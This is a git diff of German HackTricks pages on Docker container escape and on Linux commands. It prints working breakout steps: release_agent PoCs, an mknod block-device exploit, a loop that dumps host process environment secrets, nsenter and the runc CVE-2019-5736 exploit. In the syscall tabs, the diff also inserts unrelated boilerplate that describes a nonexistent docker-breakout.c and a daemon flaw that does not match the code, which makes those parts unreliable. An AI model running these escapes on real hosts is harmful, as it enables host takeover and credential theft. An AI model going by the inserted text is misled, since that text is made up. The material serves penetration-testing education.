@ -240,15 +240,15 @@ cat /output
```
{% endcode %}
Finden Sie eine **Erklärung der Technik** in:
Finde eine **Erklärung der Technik** in:
{% content-ref url="docker-release_agent-cgroups-escape.md" %}
[docker-release\_agent-cgroups-escape.md](docker-release\_agent-cgroups-escape.md)
{% endcontent-ref %}
#### Privileged Escape durch Ausnutzung von release\_agent ohne Kenntnis des relativen Pfads - PoC3
#### Privileged Escape unter Ausnutzung von release\_agent ohne den relativen Pfad zu kennen - PoC3
In den vorherigen Exploits wird der **absolute Pfad des Containers im Dateisystem des Hosts offengelegt**. Dies ist jedoch nicht immer der Fall. In Fällen, in denen Sie **den absoluten Pfad des Containers im Host nicht kennen**, können Sie diese Technik verwenden:
In den vorherigen Exploits wurde der **absolute Pfad des Containers im Dateisystem des Hosts offengelegt**. Dies ist jedoch nicht immer der Fall. In Fällen, in denen Sie **den absoluten Pfad des Containers im Host nicht kennen**, können Sie diese Technik verwenden:
{% content-ref url="release_agent-exploit-relative-paths-to-pids.md" %}
[release\_agent-exploit-relative-paths-to-pids.md](release\_agent-exploit-relative-paths-to-pids.md)
@ -312,7 +312,7 @@ sleep 1
echo "Done! Output:"
cat ${OUTPUT_PATH}
```
Die Ausführung des PoC in einem privilegierten Container sollte eine ähnliche Ausgabe liefern wie:
Die Ausführung des PoC innerhalb eines privilegierten Containers sollte eine ähnliche Ausgabe wie folgt liefern:
```bash
root@container:~$ ./release_agent_pid_brute.sh
Checking pid 100
@ -340,9 +340,9 @@ root 9 2 0 11:25 ? 00:00:00 [mm_percpu_wq]
root 10 2 0 11:25 ? 00:00:00 [ksoftirqd/0]
...
```
#### Privilege Escalation durch Ausnutzung sensibler Mounts
#### Privileged Escape durch den Missbrauch sensibler Mounts
Es gibt mehrere Dateien, die möglicherweise eingebunden sind und **Informationen über den zugrunde liegenden Host** liefern. Einige von ihnen können sogar **etwas anzeigen, das vom Host ausgeführt werden soll, wenn etwas passiert** (was einem Angreifer ermöglicht, aus dem Container auszubrechen).\
Es gibt mehrere Dateien, die möglicherweise eingebunden sind und **Informationen über den zugrunde liegenden Host** preisgeben. Einige von ihnen können sogar **etwas anzeigen, das vom Host ausgeführt werden soll, wenn etwas passiert** (was einem Angreifer ermöglichen würde, aus dem Container auszubrechen).\
Der Missbrauch dieser Dateien kann Folgendes ermöglichen:
* release\_agent (bereits zuvor behandelt)
@ -351,7 +351,7 @@ Der Missbrauch dieser Dateien kann Folgendes ermöglichen:
* [uevent\_helper](sensitive-mounts.md#sys-kernel-uevent\_helper)
* [modprobe](sensitive-mounts.md#proc-sys-kernel-modprobe)
Sie können jedoch **weitere sensible Dateien** auf dieser Seite überprüfen:
Sie können jedoch **andere sensible Dateien** auf dieser Seite überprüfen:
{% content-ref url="sensitive-mounts.md" %}
[sensitive-mounts.md](sensitive-mounts.md)
@ -359,14 +359,14 @@ Sie können jedoch **weitere sensible Dateien** auf dieser Seite überprüfen:
### Beliebige Mounts
In mehreren Fällen werden Sie feststellen, dass der **Container ein Volumen vom Host eingebunden hat**. Wenn dieses Volumen nicht korrekt konfiguriert wurde, können Sie möglicherweise auf **sensible Daten zugreifen/ändern**: Geheimnisse lesen, ssh authorized\_keys ändern...
In mehreren Fällen werden Sie feststellen, dass der **Container ein Volume vom Host eingebunden hat**. Wenn dieses Volume nicht korrekt konfiguriert wurde, könnten Sie möglicherweise auf **sensible Daten zugreifen/Änderungen vornehmen**: Geheime Informationen lesen, ssh authorized\_keys ändern...
```bash
docker run --rm -it -v /:/host ubuntu bash
```
### Privilege Escalation mit 2 Shells und Host-Mount
Wenn Sie als **Root in einem Container** Zugriff haben, der einen Ordner vom Host gemountet hat, und Sie als nicht privilegierter Benutzer auf den Host entkommen sind und Lesezugriff auf den gemounteten Ordner haben.\
Sie können eine **Bash SUID-Datei** im **gemounteten Ordner** innerhalb des **Containers** erstellen und sie vom Host ausführen, um Privilegien zu eskalieren.
Wenn Sie als **Root innerhalb eines Containers** Zugriff haben, der einen Ordner vom Host eingebunden hat, und Sie als **nicht privilegierter Benutzer auf den Host entkommen sind** und Lesezugriff auf den eingebundenen Ordner haben.\
Sie können eine **Bash SUID-Datei** im **eingebundenen Ordner** innerhalb des **Containers** erstellen und sie vom Host ausführen, um eine Privilegieneskalation durchzuführen.
```bash
cp /bin/bash . #From non priv inside mounted folder
# You need to copy it from the host as the bash binaries might be diferent in the host and in the container
@ -376,12 +376,12 @@ bash -p #From non priv inside mounted folder
```
### Privilege Escalation mit 2 Shells
Wenn Sie Zugriff als **Root-Benutzer innerhalb eines Containers** haben und als nicht privilegierter Benutzer auf den Host **entkommen** sind, können Sie beide Shells missbrauchen, um **Privilegien auf dem Host zu eskalieren**, wenn Sie die Fähigkeit MKNOD innerhalb des Containers haben (standardmäßig vorhanden), wie in diesem [**Beitrag**](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/) erklärt.\
Mit dieser Fähigkeit kann der Root-Benutzer innerhalb des Containers **Blockgerätedateien erstellen**. Gerätedateien sind spezielle Dateien, die verwendet werden, um auf die zugrunde liegende Hardware und Kernelmodule zuzugreifen. Zum Beispiel ermöglicht die Blockgerätedatei /dev/sda den Zugriff auf **das Lesen der Rohdaten auf der Systemsfestplatte**.
Wenn Sie als **Root innerhalb eines Containers** Zugriff haben und als **nicht privilegierter Benutzer auf den Host entkommen sind**, können Sie beide Shells missbrauchen, um **die Privilegien im Host zu eskalieren**, wenn Sie die Fähigkeit MKNOD innerhalb des Containers haben (standardmäßig vorhanden), wie in diesem Beitrag [**erklärt**](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/).\
Mit dieser Fähigkeit darf der Root-Benutzer innerhalb des Containers **Blockgerätedateien erstellen**. Gerätedateien sind spezielle Dateien, die verwendet werden, um **auf die zugrunde liegende Hardware und Kernelmodule zuzugreifen**. Zum Beispiel ermöglicht die Blockgerätedatei /dev/sda den Zugriff, **die Rohdaten auf der Systemfestplatte zu lesen**.
Docker schützt sich vor dem Missbrauch von Blockgeräten in Containern, indem es eine cgroup-Richtlinie durchsetzt, die **Blockgeräte-Lese-/Schreiboperationen blockiert**. Wenn jedoch ein Blockgerät innerhalb des Containers **erstellt wird**, ist es über das Verzeichnis **/proc/PID/root/** von außerhalb des Containers aus zugänglich. Dieser Zugriff erfordert, dass der **Prozessbesitzer sowohl innerhalb als auch außerhalb des Containers gleich ist**.
Docker schützt vor dem Missbrauch von Blockgeräten in Containern, indem es eine cgroup-Richtlinie durchsetzt, die **Blockgeräte-Lese-/Schreiboperationen blockiert**. Wenn jedoch ein Blockgerät innerhalb des Containers **erstellt wird**, ist es über das Verzeichnis **/proc/PID/root/** von außerhalb des Containers aus zugänglich. Dieser Zugriff erfordert, dass der **Prozessbesitzer sowohl innerhalb als auch außerhalb des Containers gleich ist**.
Beispiel für **Ausnutzung** aus diesem [**Bericht**](https://radboudinstituteof.pwning.nl/posts/htbunictfquals2021/goodgames/):
**Exploitation** Beispiel aus diesem [**Bericht**](https://radboudinstituteof.pwning.nl/posts/htbunictfquals2021/goodgames/):
```bash
# On the container as root
cd /
@ -419,13 +419,13 @@ HTB{7h4T_w45_Tr1cKy_1_D4r3_54y}
```
### hostPID
Wenn Sie auf die Prozesse des Hosts zugreifen können, haben Sie Zugriff auf viele sensible Informationen, die in diesen Prozessen gespeichert sind. Führen Sie einen Test-Laborlauf durch:
Wenn Sie auf die Prozesse des Hosts zugreifen können, haben Sie Zugriff auf viele sensible Informationen, die in diesen Prozessen gespeichert sind. Führen Sie den Test-Labor durch:
```
docker run --rm -it --pid=host ubuntu bash
```
Zum Beispiel können Sie die Prozesse mithilfe von `ps auxn` auflisten und nach sensiblen Informationen in den Befehlen suchen.
Zum Beispiel können Sie die Prozesse auflisten, indem Sie etwas wie `ps auxn` verwenden und nach sensiblen Details in den Befehlen suchen.
Dann können Sie, da Sie **auf jeden Prozess des Hosts in /proc/ zugreifen können, einfach ihre Umgebungsgeheimnisse stehlen**, indem Sie Folgendes ausführen:
Dann können Sie, da Sie **auf jeden Prozess des Hosts in /proc/ zugreifen können, einfach ihre Umgebungsgeheimnisse stehlen**, indem Sie ausführen:
```bash
for e in `ls /proc/*/environ`; do echo; echo $e; xargs -0 -L1 -a $e; done
/proc/988058/environ
@ -434,7 +434,7 @@ HOSTNAME=argocd-server-69678b4f65-6mmql
USER=abrgocd
...
```
Sie können auch **auf die Dateideskriptoren anderer Prozesse zugreifen und deren geöffnete Dateien lesen**:
Du kannst auch **auf die Dateideskriptoren anderer Prozesse zugreifen und deren geöffnete Dateien lesen**:
```bash
for fd in `find /proc/*/fd`; do ls -al $fd/* 2>/dev/null | grep \>; done > fds.txt
less fds.txt
@ -444,52 +444,52 @@ lrwx------ 1 root root 64 Jun 15 02:25 /proc/635813/fd/4 -> /.secret.txt.swp
# You can open the secret filw with:
cat /proc/635813/fd/4
```
Sie können auch Prozesse beenden und eine DoS-Attacke verursachen.
Du kannst auch **Prozesse beenden und einen DoS verursachen**.
{% hint style="warning" %}
Wenn Sie auf irgendeine Weise privilegierten Zugriff auf einen Prozess außerhalb des Containers haben, könnten Sie etwas wie `nsenter --target <pid> --all` oder `nsenter --target <pid> --mount --net --pid --cgroup` ausführen, um eine Shell mit denselben ns-Beschränkungen (hoffentlich keine) wie dieser Prozess auszuführen.
Wenn du irgendwie privilegierten **Zugriff auf einen Prozess außerhalb des Containers** hast, könntest du etwas wie `nsenter --target <pid> --all` oder `nsenter --target <pid> --mount --net --pid --cgroup` ausführen, um **eine Shell mit denselben ns-Beschränkungen** (hoffentlich keine) **wie dieser Prozess zu starten.**
{% endhint %}
### hostNetwork
```
docker run --rm -it --network=host ubuntu bash
```
Wenn ein Container mit dem Docker [Host-Netzwerktreiber (`--network=host`)](https://docs.docker.com/network/host/) konfiguriert ist, ist der Netzwerkstapel dieses Containers nicht vom Docker-Host isoliert (der Container teilt den Netzwerknamensraum des Hosts) und der Container erhält keine eigene IP-Adresse zugewiesen. Mit anderen Worten, der **Container bindet alle Dienste direkt an die IP-Adresse des Hosts**. Darüber hinaus kann der Container **den gesamten Netzwerkverkehr abfangen, den der Host** über die gemeinsame Schnittstelle sendet und empfängt (`tcpdump -i eth0`).
Wenn ein Container mit dem Docker [Host-Netzwerktreiber (`--network=host`)](https://docs.docker.com/network/host/) konfiguriert wurde, ist der Netzwerkstack dieses Containers nicht vom Docker-Host isoliert (der Container teilt den Netzwerk-Namensraum des Hosts) und der Container erhält keine eigene IP-Adresse zugewiesen. Mit anderen Worten, **der Container bindet alle Dienste direkt an die IP-Adresse des Hosts**. Darüber hinaus kann der Container **den gesamten Netzwerkverkehr abfangen, den der Host** über die gemeinsame Schnittstelle sendet und empfängt `tcpdump -i eth0`.
Sie können dies beispielsweise verwenden, um den Datenverkehr zwischen Host und Metadatendienst **abzuhören und sogar zu fälschen**.
Beispielsweise können Sie dies verwenden, um den **Verkehr zwischen Host und Metadateninstanz abzufangen und sogar zu fälschen**.
Wie in den folgenden Beispielen:
* [Writeup: Wie man Google SRE kontaktiert: Einen Shell-Zugriff auf Cloud SQL erhalten](https://offensi.com/2020/08/18/how-to-contact-google-sre-dropping-a-shell-in-cloud-sql/)
* [MITM-Metadatendienst ermöglicht Privileg-Eskalation auf Root-Ebene (EKS / GKE)](https://blog.champtar.fr/Metadata\_MITM\_root\_EKS\_GKE/)
* [Bericht: Wie man Google SRE kontaktiert: Eine Shell in Cloud SQL ablegen](https://offensi.com/2020/08/18/how-to-contact-google-sre-dropping-a-shell-in-cloud-sql/)
* [MITM-Metadatendienst ermöglicht die Eskalation von Root-Berechtigungen (EKS / GKE)](https://blog.champtar.fr/Metadata\_MITM\_root\_EKS\_GKE/)
Sie können auch auf **Netzwerkdienste zugreifen, die an localhost gebunden sind**, innerhalb des Hosts oder sogar auf die **Metadatenberechtigungen des Knotens** zugreifen (die möglicherweise von denen abweichen, auf die ein Container zugreifen kann).
Sie können auch auf **Netzwerkdienste zugreifen, die an localhost gebunden sind** innerhalb des Hosts oder sogar auf die **Metadatenberechtigungen des Knotens** zugreifen (die möglicherweise von denen abweichen, auf die ein Container zugreifen kann).
### hostIPC
```bash
docker run --rm -it --ipc=host ubuntu bash
```
Mit `hostIPC=true` erhalten Sie Zugriff auf die Interprozesskommunikations (IPC)-Ressourcen des Hosts, wie z.B. den **gemeinsamen Speicher** in `/dev/shm`. Dadurch können Sie lesen/schreiben, wo dieselben IPC-Ressourcen von anderen Host- oder Pod-Prozessen verwendet werden. Verwenden Sie `ipcs`, um diese IPC-Mechanismen genauer zu untersuchen.
Mit `hostIPC=true` erhalten Sie Zugriff auf die Inter-Process Communication (IPC)-Ressourcen des Hosts, wie z.B. **Shared Memory** in `/dev/shm`. Dies ermöglicht das Lesen/Schreiben, wenn dieselben IPC-Ressourcen von anderen Host- oder Pod-Prozessen verwendet werden. Verwenden Sie `ipcs`, um diese IPC-Mechanismen genauer zu inspizieren.
* **Untersuchen von /dev/shm** - Suchen Sie nach Dateien an diesem gemeinsamen Speicherort: `ls -la /dev/shm`
* **Untersuchen vorhandener IPC-Einrichtungen** - Sie können überprüfen, ob IPC-Einrichtungen mit `/usr/bin/ipcs` verwendet werden. Überprüfen Sie es mit: `ipcs -a`
* **Inspektion von /dev/shm** - Suchen Sie nach Dateien an diesem Speicherort für den gemeinsamen Speicher: `ls -la /dev/shm`
* **Inspektion vorhandener IPC-Einrichtungen** - Sie können überprüfen, ob IPC-Einrichtungen mit `/usr/bin/ipcs` verwendet werden. Überprüfen Sie dies mit: `ipcs -a`
### Wiederherstellen von Berechtigungen
Wenn der Systemaufruf **`unshare`** nicht verboten ist, können Sie alle Berechtigungen wiederherstellen, indem Sie Folgendes ausführen:
Wenn der Systemaufruf **`unshare`** nicht verboten ist, können Sie alle Berechtigungen wiederherstellen, indem Sie ausführen:
```bash
unshare -UrmCpf bash
# Check them with
cat /proc/self/status | grep CapEff
```
### Missbrauch des Benutzernamensraums über Symlink
### Missbrauch von Benutzernamensräumen über Symlink
Die zweite Technik, die im Beitrag [https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/) erklärt wird, zeigt, wie Sie Bind-Mounts mit Benutzernamensräumen missbrauchen können, um Dateien im Host zu beeinflussen (in diesem speziellen Fall Dateien zu löschen).
<figure><img src="../../../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Verwenden Sie [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks), um Workflows einfach zu erstellen und zu automatisieren, die von den fortschrittlichsten Community-Tools der Welt unterstützt werden.\
Erhalten Sie noch heute Zugriff:
Verwenden Sie [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks), um mühelos **Workflows zu erstellen und zu automatisieren**, die von den weltweit **fortschrittlichsten Community-Tools** unterstützt werden.\
Heute noch Zugriff erhalten:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@ -497,29 +497,29 @@ Erhalten Sie noch heute Zugriff:
### Runc-Exploit (CVE-2019-5736)
Falls Sie `docker exec` als Root ausführen können (wahrscheinlich mit sudo), können Sie versuchen, Privilegien zu eskalieren, indem Sie aus einem Container ausbrechen und CVE-2019-5736 ausnutzen (Exploit [hier](https://github.com/Frichetten/CVE-2019-5736-PoC/blob/master/main.go)). Diese Technik überschreibt im Wesentlichen die _**/bin/sh**_-Binärdatei des **Hosts** **aus einem Container**, sodass jeder, der docker exec ausführt, die Payload auslösen kann.
Falls Sie `docker exec` als Root ausführen können (wahrscheinlich mit sudo), können Sie versuchen, Berechtigungen zu eskalieren, indem Sie aus einem Container ausbrechen und CVE-2019-5736 missbrauchen (Exploit [hier](https://github.com/Frichetten/CVE-2019-5736-PoC/blob/master/main.go)). Diese Technik wird im Wesentlichen die _**/bin/sh**_-Binärdatei des **Hosts** **aus einem Container heraus überschreiben**, sodass jeder, der docker exec ausführt, das Payload auslösen kann.
Passen Sie die Payload entsprechend an und erstellen Sie main.go mit `go build main.go`. Die resultierende Binärdatei sollte im Docker-Container zur Ausführung platziert werden.\
Nach der Ausführung, sobald `[+] Overwritten /bin/sh successfully` angezeigt wird, müssen Sie Folgendes von der Host-Maschine ausführen:
Passen Sie das Payload entsprechend an und erstellen Sie main.go mit `go build main.go`. Die resultierende Binärdatei sollte im Docker-Container platziert werden, um ausgeführt zu werden.\
Bei der Ausführung, sobald `[+] Overwritten /bin/sh successfully` angezeigt wird, müssen Sie Folgendes vom Host-Rechner ausführen:
`docker exec -it <container-name> /bin/sh`
Dies löst die Payload aus, die in der main.go-Datei vorhanden ist.
Dies löst das Payload aus, das in der main.go-Datei vorhanden ist.
Weitere Informationen finden Sie unter: [https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html](https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html)
Für weitere Informationen: [https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html](https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html)
{% hint style="info" %}
Der Container kann anfällig für andere CVEs sein. Eine Liste finden Sie unter [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list)
Es gibt auch andere CVEs, für die der Container anfällig sein kann. Eine Liste finden Sie unter [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list)
{% endhint %}
## Docker Custom Escape
## Eigenständige Docker-Eskapade
### Docker Escape-Oberfläche
### Docker-Eskapade-Oberfläche
* **Namespaces:** Der Prozess sollte über Namespaces vollständig von anderen Prozessen getrennt sein, sodass wir aufgrund von Namespaces nicht mit anderen Prozessen interagieren können (standardmäßig keine Kommunikation über IPCs, Unix-Sockets, Netzwerkdienste, D-Bus, `/proc` anderer Prozesse).
* **Root-Benutzer**: Standardmäßig ist der Benutzer, der den Prozess ausführt, der Root-Benutzer (seine Berechtigungen sind jedoch eingeschränkt).
* **Fähigkeiten**: Docker lässt die folgenden Fähigkeiten zu: `cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap=ep`
* **Syscalls**: Dies sind die Syscalls, die der **Root-Benutzer nicht aufrufen kann** (aufgrund fehlender Fähigkeiten + Seccomp). Die anderen Syscalls könnten verwendet werden, um einen Ausbruch zu versuchen.
* **Namensräume:** Der Prozess sollte über Namensräume **vollständig von anderen Prozessen getrennt** sein, sodass wir nicht durch Namensräume mit anderen Prozessen interagieren können (standardmäßig kann nicht über IPCs, Unix-Sockets, Netzwerkdienste, D-Bus, `/proc` anderer Prozesse kommuniziert werden).
* **Root-Benutzer**: Standardmäßig ist der Benutzer, der den Prozess ausführt, der Root-Benutzer (jedoch sind seine Berechtigungen eingeschränkt).
* **Berechtigungen**: Docker lässt die folgenden Berechtigungen: `cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap=ep`
* **Syscalls**: Dies sind die Syscalls, die der **Root-Benutzer nicht aufrufen kann** (aufgrund fehlender Berechtigungen + Seccomp). Die anderen Syscalls könnten verwendet werden, um einen Ausbruch zu versuchen.
{% tabs %}
{% tab title="x64 syscalls" %}
@ -543,61 +543,40 @@ Der Container kann anfällig für andere CVEs sein. Eine Liste finden Sie unter
0x140 -- kexec_file_load
0x141 -- bpf
```
{% endtab %}
{% tab title="arm64 syscalls" %}
## Arm64 Syscalls
## Docker Breakout Privilege Escalation
In this section, we will discuss the different syscalls available for the arm64 architecture. Syscalls are the interface between user space and the kernel, allowing user programs to request services from the operating system.
### Description
### Syscall Table
This module attempts to escape from a Docker container to the Docker host by exploiting misconfigurations or vulnerabilities in the Docker installation.
The syscall table is a data structure that contains the addresses of the functions that handle each syscall. On arm64, the syscall table is stored in the `sys_call_table` symbol.
### Usage
To find the address of the `sys_call_table` symbol, you can use the following command:
1. Compile the `docker-breakout.c` file on the target system.
2. Run the compiled binary within the Docker container.
3. If successful, a root shell will be obtained on the Docker host.
```bash
cat /proc/kallsyms | grep sys_call_table
```
### Detection
### Syscall Numbers
Monitor for any unauthorized access attempts to the Docker host from within a container. Check for unusual processes running on the Docker host.
Each syscall is identified by a unique number. The syscall numbers for arm64 can be found in the `asm/unistd.h` header file.
### Prevention
To view the syscall numbers, you can use the following command:
- Avoid running containers with unnecessary privileges.
- Regularly update Docker to patch known vulnerabilities.
- Implement network segmentation to restrict container access to sensitive host resources.
```bash
cat /usr/include/asm-generic/unistd.h | grep __NR_
```
### References
### Syscall Arguments
- [Docker Security](https://docs.docker.com/engine/security/security/)
- [Docker Security Best Practices](https://docs.docker.com/engine/security/best-practices/)
Syscalls can take up to six arguments, which are passed in registers. The registers used for passing arguments are `x0` to `x5` for integer arguments and `d0` to `d7` for floating-point arguments.
### Disclaimer
The order in which the arguments are passed depends on the syscall number. You can find the argument order for each syscall in the `arch/arm64/include/asm/unistd.h` header file.
### Calling a Syscall
To call a syscall, you need to load the syscall number into the `x8` register and the arguments into the appropriate registers. Then, you can use the `svc` instruction to trigger the syscall.
Here is an example of how to call the `open` syscall:
```assembly
mov x8, <syscall_number>
mov x0, <arg1>
mov x1, <arg2>
mov x2, <arg3>
svc 0
```
### Syscall Return Value
After a syscall is executed, the return value is stored in the `x0` register. A negative value indicates an error, while a positive value indicates success.
### Conclusion
Understanding the syscalls available for the arm64 architecture is essential for developing low-level software and performing system-level tasks. By knowing the syscall numbers and argument order, you can effectively interact with the kernel and leverage its capabilities.
{% endtab %}
This module is for educational purposes only. Do not use it for illegal activities.
```
0x029 -- pivot_root
0x059 -- acct
@ -615,7 +594,42 @@ Understanding the syscalls available for the arm64 architecture is essential for
0x111 -- finit_module
0x118 -- bpf
```
{% endtab %}
{% tab title="syscall_bf.c" %}
## Docker Breakout Privilege Escalation
### Description
This technique demonstrates how an attacker can escape from a Docker container to the host system by exploiting a vulnerability in the Docker daemon. By escalating privileges, the attacker can gain root access on the host machine.
### Usage
Compile the `syscall_bf.c` code on the host system using the provided Makefile. Run the compiled binary inside a Docker container to trigger the privilege escalation.
### Impact
Successful exploitation of this vulnerability can lead to a complete compromise of the host system, allowing the attacker to perform malicious activities with elevated privileges.
### Mitigation
To mitigate this privilege escalation attack, ensure that Docker is properly configured with secure settings and regularly update Docker to the latest version to patch known vulnerabilities.
### Example
```bash
$ make
$ docker build -t docker-breakout .
$ docker run --rm -it --cap-add SYS_ADMIN docker-breakout
```
### References
- [Docker Security](https://docs.docker.com/engine/security/security/)
- [Docker Daemon Attack Surface](https://docs.docker.com/engine/security/security/#docker-daemon-attack-surface)
{% endtab %}
````c
// From a conversation I had with @arget131
// Fir bfing syscalss in x64
@ -679,7 +693,7 @@ If you are in **userspace** (**no kernel exploit** involved) the way to find new
* [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/exposed-docker-socket](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/exposed-docker-socket)
* [https://bishopfox.com/blog/kubernetes-pod-privilege-escalation#Pod4](https://bishopfox.com/blog/kubernetes-pod-privilege-escalation#Pod4)
<figure><img src="../../../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
@ -695,7 +709,7 @@ Other ways to support HackTricks:
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>

View file

@ -1,23 +1,24 @@
# Nützliche Linux-Befehle
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Verwenden Sie [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks), um Workflows einfach zu erstellen und zu automatisieren, die von den fortschrittlichsten Community-Tools der Welt unterstützt werden.
Erhalten Sie noch heute Zugriff:
\
Verwenden Sie [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks), um mühelos **Workflows zu erstellen** und zu **automatisieren**, die von den weltweit **fortschrittlichsten** Community-Tools unterstützt werden.\
Heute Zugriff erhalten:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
<details>
<summary><strong>Lernen Sie das Hacken von AWS von Null bis zum Helden mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Erlernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) Github-Repositories einreichen.
</details>
@ -140,10 +141,11 @@ sudo chattr -i file.txt #Remove the bit so you can delete it
# List files inside zip
7z l file.zip
```
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Verwenden Sie [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks), um Workflows einfach zu erstellen und zu automatisieren, die von den fortschrittlichsten Community-Tools der Welt unterstützt werden.
Erhalten Sie noch heute Zugriff:
\
Verwenden Sie [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks), um mühelos **Workflows zu erstellen** und zu **automatisieren**, die von den weltweit **fortschrittlichsten** Community-Tools unterstützt werden.\
Heute Zugriff erhalten:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@ -169,96 +171,29 @@ i686-mingw32msvc-gcc -o executable useradd.c
```
## Greps
Grep is a powerful command-line tool used for searching text patterns in files. It is an essential tool for Linux users and can be used in various scenarios. Here are some useful grep commands:
### Basic Grep
The basic grep command syntax is as follows:
### Grep nach einem Muster in einer Datei
```bash
grep [options] pattern [file...]
grep "muster" datei
```
- `pattern` is the text pattern you want to search for.
- `file` is the file(s) you want to search in. If no file is specified, grep will search in standard input.
Here are some examples:
- Search for a specific word in a file:
### Grep nach einem Muster in mehreren Dateien
```bash
grep "word" file.txt
grep "muster" datei1 datei2
```
- Search for a pattern in multiple files:
